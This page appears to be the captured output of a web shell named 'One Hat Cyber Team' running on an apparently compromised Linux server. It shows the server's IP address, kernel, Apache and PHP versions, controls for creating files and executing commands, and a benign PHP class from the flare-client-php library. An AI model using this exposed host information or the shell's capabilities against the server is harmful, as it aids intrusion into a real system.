⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.180
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
facade
/
flare-client-php
/
src
/
View File Name :
Frame.php
<?php namespace Facade\FlareClient; use Facade\FlareClient\Stacktrace\Codesnippet; class Frame { /** @var string */ protected $file; /** @var int */ protected $lineNumber; /** @var string */ protected $method; /** @var string */ protected $class; public function __construct( string $file, int $lineNumber, string $method = null, string $class = null ) { $this->file = $file; $this->lineNumber = $lineNumber; $this->method = $method; $this->class = $class; } public function toArray(): array { $codeSnippet = (new Codesnippet()) ->snippetLineCount(9) ->surroundingLine($this->lineNumber) ->get($this->file); return [ 'line_number' => $this->lineNumber, 'method' => $this->getFullMethod(), 'code_snippet' => $codeSnippet, 'file' => $this->file, ]; } private function getFullMethod(): string { $method = $this->method; if ($class = $this->class ?? false) { $method = "{$class}::{$method}"; } return $method; } public function getFile(): string { return $this->file; } }